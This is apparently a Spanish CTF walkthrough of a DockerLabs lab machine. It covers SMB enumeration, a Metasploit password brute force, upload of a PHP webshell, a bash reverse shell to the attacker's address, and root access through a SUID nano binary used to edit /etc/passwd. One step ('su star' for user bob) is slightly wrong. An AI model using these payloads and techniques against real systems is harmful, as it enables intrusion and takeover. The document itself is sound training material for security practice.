Domain



🚀Preparación del Entorno

El proceso para desplegar las máquinas de DockerLabs es bastante sencillo. Sigue estos pasos:

📌 Paso 1: Descargar el archivo CTF

Descarga el archivo ZIP del CTF que deseas utilizar.

📌 Paso 2: Descomprimir el archivo

Ejecuta el siguiente comando en la terminal:

unzip [nombre].zip

📂 Esto extraerá los siguientes archivos:

📌 Paso 3: Ejecutar el script de despliegue

Para iniciar el despliegue de la máquina virtual, ejecuta:

sudo bash auto_deploy.sh [nombre].tar

🕐 Después de unos minutos, el script te proporcionará la IP de la máquina lista para atacar.

🎯Resolución

🔍 Reconocimiento

Comenzamos determinando si el objetivo es Windows o Linux enviando paquetes ICMP:

ping -c 3 172.17.0.2

📌 El valor TTL=64 → Linux

Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo

nmap -sVC -p- -n --min-rate 5000 172.17.0.2

Al acceder al sitio web en el puerto 80:
Pasted image 20250720164758.png
📄 Se menciona Samba en la página, lo que indica que podría ser el foco de este CTF.


🕵️Análisis de vulnerabilidades

Lanzamos un escaneo con smbmap para identificar recursos compartidos accesibles:

smbmap -H 172.17.0.2

Pasted image 20250720165237.png

❌ No tenemos acceso directo, pero sí podemos ver los nombres de los recursos compartidos.

Aprovechamos rpcclient sin autenticación para enumerar información sensible:
Comandos útiles:

rpcclient -U '' -N  172.17.0.2
srvinfo 
querydispinfo and enumdomuser

Pasted image 20250720174001.png
✅ Obtenemos dos usuarios válidos:


🎯 Explotación

Como siempre, si tenemos un usuario, intentamos fuerza bruta. En este caso usamos Metasploit:

sudo msfconsole 
use /scanner/smb/smb_login 

Ponemos la IP de la máquina víctima y el usuario que vamos a probar la fuerza bruta y el diccionario para hacer fuerza bruta, en este caso rockyou.txt

set RHOSTS 172.17.0.2
set SMBUser bob
set PASS_FILE /usr/share/wordlists/rockyou.txt

🔐 Encontramos la contraseña de bob que es star
Pasted image 20250720181524.png
🔍 Verificamos los permisos del usuario bob usando smbmap:

smbmap -u bob -p star -H 172.17.0.2

📂 Vemos que el recurso html tiene permisos de lectura y escritura
{1308D31A-78DA-4EBF-A08C-E167F1C622F9}.png
📁 Listamos los archivos del recurso compartido html:

smbmap -u bob -p star -H 172.17.0.2 -r html

Encontramos el index.html — corresponde a la página web principal.
Pasted image 20250720182425.png
Creamos una webshell básica en PHP:

<pre>
<?php echo shell_exec($_GET['cmd']); ?>
</pre>

📤 Subimos el archivo al recurso compartido:

smbclient //172.17.0.2/html -U bob%star -c "put pwned.php"

✅ Probamos la ejecución desde el navegador: http://172.17.0.2/pwned.php?cmd=whoami
{E2ECBAFD-5587-4EAF-9E2A-9151E1B37FFE}.png
Generamos una reverse shell con revshells.com:

🎧 Escuchamos en la máquina atacante:

nc -lvnp 9001

Generamos el payload en bash, lo codificamos en URL y lo utilizamos así:

http://172.17.0.2/pwned.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/172.17.0.1/9001%200%3E%261%22

📸 Conexión exitosa:
{10BFA72B-3D69-403D-967F-AAE138E2D25D}.png
Para mejorar la experiencia, ejecutamos los siguientes comandos:

script /dev/null -c bash
# Suspender la shell actual:
ctrl+z
# Restauramos la conexión:
stty raw -echo; fg
# Reiniciamos la terminal y configuramos la compatibilidad con xterm:
reset xterm
export TERM=xterm
export SHELL=bash

Si intentamos usar editores como nano, vi o cat, la terminal puede mostrar limitaciones en el tamaño de la pantalla. Para solucionar esto, ajustamos el tamaño de la terminal con los siguientes comandos:

# Abrimos una nueva terminal en el host o máquina atacante y ejecutamos:
stty size
# Ajustamos las filas y columnas de la terminal para que se vean correctamente:
stty rows 52 columns 115

📈 Escalada de privilegios

👤 Nos autenticamos como el usuario bob con la contraseña star:

su star

Ahora somos bob
{CB442D18-5944-432D-9EA1-A7F607D6DF43}.png
Una vez con acceso al sistema, buscamos archivos con el bit SUID activado para identificar posibles vectores de escalada local:

find / -type f -perm -4000 2>/dev/null

🔍 Este comando lista archivos ejecutables con permisos de usuario propietario (root) que pueden ser explotados.
🚨 Archivos SUID Interesantes

Identificamos que el binario nano tiene permisos SUID, lo que significa que se ejecuta con los privilegios del propietario (en este caso, root). Este comportamiento puede ser aprovechado para escalar privilegios a nivel administrador.
Pasted image 20250720184254.png
📂 Usamos nano para editar /etc/passwd y eliminar el campo x de root para quitar la contraseña:

/usr/bin/nano /etc/passwd

Pasted image 20250720184909.png

¡Ya somos root!

{EDDFB3BA-D142-4925-80A8-6458689F95C6}.png